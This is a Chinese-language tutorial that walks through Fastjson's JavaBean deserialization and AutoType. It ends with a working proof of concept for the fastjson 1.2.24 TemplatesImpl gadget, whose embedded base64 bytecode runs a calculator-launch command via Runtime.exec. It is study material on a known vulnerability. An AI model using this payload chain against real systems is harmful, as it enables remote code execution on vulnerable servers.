Fastjson反序列化漏洞速通
参考文章:
JavaBean
- 若干
private实例字段;
- 通过
public方法来读写实例字段。1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class Person { private String name; private int age;
public String getName() { return this.name; } public void setName(String name) { this.name = name; }
public int getAge() { return this.age; } public void setAge(int age) { this.age = age; } public boolean isChild() public void setChild(boolean value) }
|
如果读写方法符合以下这种命名规范,那么这种class被称为JavaBean:
1 2 3 4
| public Type getXyz()
public void setXyz(Type value)
|
我们通常把一组对应的读方法(getter)和写方法(setter)称为属性(property)。例如,name属性:
- 对应的读方法是
String getName()
- 对应的写方法是
setName(String)
只有getter的属性称为只读属性(read-only),例如,定义一个age只读属性:
- 对应的读方法是
int getAge()
- 无对应的写方法
setAge(int)
类似的,只有setter的属性称为只写属性(write-only)。
很明显,只读属性很常见,只写属性不常见。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package myexp.fastjsonDemo;
public class userBean {
private String name; private int age; private String email;
public userBean() {
}
public userBean(String name, int age, String email) { this.name = name; this.age = age; this.email = email; }
public String getName() { System.out.println("调用getter方法-getName\n"); return name; }
public void setName(String name) { System.out.println("调用setter方法-setName\n"); this.name = name; }
public int getAge() { System.out.printf("调用getter方法-getAge\n"); return age; }
public void setAge(int age) { System.out.printf("调用setter方法-setAge\n"); this.age = age; }
}
|
枚举JavaBean属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import java.beans.*;
public class Main { public static void main(String[] args) throws Exception { BeanInfo info = Introspector.getBeanInfo(Person.class); for (PropertyDescriptor pd : info.getPropertyDescriptors()) { System.out.println(pd.getName()); System.out.println(" " + pd.getReadMethod()); System.out.println(" " + pd.getWriteMethod()); } } }
class Person { private String name; private int age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; } }
|
fastjson
它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
使用 fastjson 无非是将类转为 json 字符串或解析 json 转为 JavaBean。
常用的方法:
1 2 3 4
| JSON.toJSONString() JSON.parse() JSON.parseObject() JSON.parseArray()
|
fastjson 特点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package myexp.fastjsonDemo; import com.alibaba.fastjson.JSON; public class FastJsonExample { public static void main(String[] args) { fastjsonTest(); } public static void javaBeanTest(){ userBean user = new userBean(); user.setAge(18); user.setName("hhhh"); user.getName(); user.getAge(); } public static void fastjsonTest(){
userBean user = new userBean(); user.setAge(18); user.setName("test1"); System.out.println("序列化 JSON.toJsonString ..."); String json = JSON.toJSONString(user); System.out.println(json); System.out.println("反序列化 JSON.parse ..."); Object object1 = JSON.parse(json); System.out.println(object1); System.out.println(object1.getClass().getName()); System.out.println("反序列化 JSON.parseOject(json, Class) ..."); Object object2 = JSON.parseObject(json, userBean.class); System.out.println(object2); System.out.println(object2.getClass().getName()); System.out.println("反序列化 JSON.parseObject(json) ..."); Object object3 = JSON.parseObject(json); System.out.println(object3); System.out.println(object3.getClass().getName()); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| 调用setter方法-setAge 调用setter方法-setName
序列化 JSON.toJsonString ... 调用getter方法-getAge 调用getter方法-getName
{"age":18,"name":"test1"} 反序列化 JSON.parse ... {"name":"test1","age":18} com.alibaba.fastjson.JSONObject 反序列化 JSON.parseOject(json, Class) ... 调用setter方法-setAge 调用setter方法-setName
myexp.fastjsonDemo.userBean@1e397ed7 myexp.fastjsonDemo.userBean 反序列化 JSON.parseObject(json) ... {"name":"test1","age":18} com.alibaba.fastjson.JSONObject
|
当JSON.parseOject(json, Class)指定特定类的时候,此时会返回userBean实例。
可见不设置特定类,会是默认的JSONObject,同样也不会再次调用原本类中写的,仅仅是将JSON字符串进行反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public static void fastjsonAutoTypeTest(){ userBean user = new userBean(); user.setAge(18); user.setName("hhhh");
System.out.println("小于等于 FastJson 1.2.24 默认支持 AutoType");
System.out.println("序列化 JSON.toJSONString(user, SerializerFeature.WriteClassName) ..."); String json = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(json);
System.out.println("反序列化 JSON.parse(json) ..."); Object object1 = JSON.parse(json); System.out.println(object1); System.out.println(object1.getClass().getName());
System.out.println("反序列化 JSON.parseObject(json)"); Object object2 = JSON.parseObject(json); System.out.println(object2); System.out.println(object2.getClass().getName()); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| 调用setter方法-setAge 调用setter方法-setName
小于等于 FastJson 1.2.24 默认支持 AutoType 序列化 JSON.toJSONString(user, SerializerFeature.WriteClassName) ... 调用getter方法-getAge 调用getter方法-getName
{"@type":"myexp.fastjsonDemo.userBean","age":18,"name":"hhhh"} 反序列化 JSON.parse(json) ... 调用setter方法-setAge 调用setter方法-setName
myexp.fastjsonDemo.userBean@3e6fa38a myexp.fastjsonDemo.userBean 反序列化 JSON.parseObject(json) 调用setter方法-setAge 调用setter方法-setName
调用getter方法-getAge 调用getter方法-getName
{"name":"hhhh","age":18} com.alibaba.fastjson.JSONObject
|
- 使用
JSON.parse(jsonString) 和 JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
- fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法
- 其中 getter 方法需满足条件:
- 方法名长于 4
- 不是静态方法
- 以
get 开头且第4位是大写字母
- 方法不能有参数传入
- 继承自
Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
- 此属性没有 setter 方法
- setter 方法需满足条件:
- 方法名长于 4
- 不是静态方法
- 以
set 开头且第4位是大写字母
- 返回类型为 void 或当前类
- 参数个数为 1 个。
- 具体逻辑在
com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
- 使用
JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
- 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用
Feature.SupportNonPublicField 参数。
- fastjson 在为类属性寻找 get/set 方法时,调用函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _ - 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _ 和 - 进行组合混淆。
- fastjson 在反序列化时,如果 Field 类型为
byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
parse与parseObject区别
人话:
如果@type指明了类名,使用parse的时候,不仅会得到对象,还会调用这个对象的setter;
使用的是parseObject的话,不仅会得到对象且调用setter,还会调用getter。
FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象
parseObject() 本质上也是调用 parse() 进行反序列化的。
但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。
所以进行反序列化时的细节区别在于:
- parse() 会识别并调用目标类的 setter 方法
- 而 parseObject()在不指定类型返回类型时,由于要将返回值转化为JSONObject,多执行了
JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的getter方法来将参数赋值给JSONObject。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package fastjson; import com.alibaba.fastjson.JSON; public class FastjsonParseDemo { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException { Person person = new Person(); person.setName("jade"); person.setAge(18); System.out.println("--------------序列化-------------"); String JSON_Serialize = JSON.toJSONString(person); System.out.println(JSON_Serialize); System.out.println("-------------反序列化(parse不指定特定的类)-------------"); Object o1 = JSON.parse(JSON_Serialize); System.out.println(o1.getClass().getName()); System.out.println(o1); System.out.println("-------------反序列化(parseObject不指定特定的类)-------------"); Object o2 = JSON.parseObject(JSON_Serialize); System.out.println(o2.getClass().getName()); System.out.println(o2); System.out.println("-------------反序列化(parseObject指定为Person.class)-------------"); Object o3 = JSON.parseObject(JSON_Serialize,Person.class); System.out.println(o3.getClass().getName()); System.out.println(o3); System.out.println("-------------反序列化(@type parse)-------------"); String JSONAtType1 = "{\"@type\":\"fastjson.Person\",\"name\": \"jade\", \"age\": 18 }"; Object o4 = JSON.parse(JSONAtType1); System.out.println(o4.getClass().getName()); System.out.println(o4); System.out.println("-------------反序列化(@type parseObject)-------------"); String JSONAtType2 = "{\"@type\":\"fastjson.Person\",\"name\": \"jade\", \"age\": 18 }"; Object o5 = JSON.parseObject(JSONAtType2); System.out.println(o5.getClass().getName()); System.out.println(o5); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| 调用setter方法 setName 调用setter方法 setAge --------------序列化------------- 调用getter方法 getAge 调用getter方法 getName {"age":18,"name":"jade"} -------------反序列化(parse不指定特定的类)------------- com.alibaba.fastjson.JSONObject {"name":"jade","age":18} -------------反序列化(parseObject不指定特定的类)------------- com.alibaba.fastjson.JSONObject {"name":"jade","age":18} -------------反序列化(parseObject指定为Person.class)------------- 调用setter方法 setAge 调用setter方法 setName fastjson.Person fastjson.Person@7506e922 -------------反序列化(@type parse)------------- 调用setter方法 setName 调用setter方法 setAge fastjson.Person fastjson.Person@4ee285c6 -------------反序列化(@type parseObject)------------- 调用setter方法 setName 调用setter方法 setAge 调用getter方法 getAge 调用getter方法 getName com.alibaba.fastjson.JSONObject {"name":"jade","age":18}
|
结论

fastjson-1.2.24
TemplatesImpl 反序列化 (条件苛刻)
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)/JSON.parseObject(input,Feature.SupportNonPublicField)
- 服务端使用parse()时,需要
JSON.parse(text1,Feature.SupportNonPublicField)
1 2 3 4 5 6 7
| { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgAAADQA...CJAAk="], "_name": "haha", "_tfactory": {}, "_outputProperties": {}, }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package fastjson;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.Feature; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
public class fastjson_1224 { public static void main(String[] args) { String a = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMaU4xdDAvQ0MzL2V4ZWM7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACoBAApTb3VyY2VGaWxlAQAJZXhlYy5qYXZhDAAKAAsHADAMADEAMgEAK29wZW4gLWEgL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMADMANAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgA1AQAOaU4xdDAvQ0MzL2V4ZWMBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAsADgAAAAwAAQAAAAUADwAQAAAAAQARABIAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAABgADgAAACAAAwAAAAEADwAQAAAAAAABABMAFAABAAAAAQAVABYAAgAXAAAABAABABgAAQARABkAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAB0ADgAAACoABAAAAAEADwAQAAAAAAABABMAFAABAAAAAQAaABsAAgAAAAEAHAAdAAMAFwAAAAQAAQAYAAgAHgALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAPAAkAEgAMABAADQARABYAEwAOAAAADAABAA0ACQAfACAAAAAhAAAABwACTAcAIgkAAQAjAAAAAgAk\"],\"_name\":\"haha\",\"_tfactory\":{},\"_outputProperties\":{}}"; JSON.parse(a, Feature.SupportNonPublicField); } }
|
这里的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties方法很明显是private Properties _outputProperties的getter方法,那么为什么我们可以使用parse来反序列化自动调用getter方法呢?

Fastjson 在反序列化 JavaBean 的时候,对 集合类 / Map 类的属性 有一套特殊逻辑:
- 如果 JSON 输入里出现了一个对象字段(比如
_outputProperties: {})
Fastjson 会判断目标类里有没有对应的属性。
- 如果对应的属性类型是
Properties(其实就是 Map 的子类),Fastjson 的处理方式是:
- 先尝试通过 getter 拿到现有实例
(也就是调用 getOutputProperties(),看看当前对象里是不是已经有了一个 Properties 对象)
- 如果拿到了现有实例 → 就把 JSON 子对象
{} 合并填充进去;
- 如果拿不到 → 才会通过反射去 new 一个新的实例再赋值。
- 所以:只要 JSON 里面写了
_outputProperties,**无论你用 parse() 还是 parseObject()**,只要最终走到 JavaBeanDeserializer 的逻辑,就会触发 getter 调用。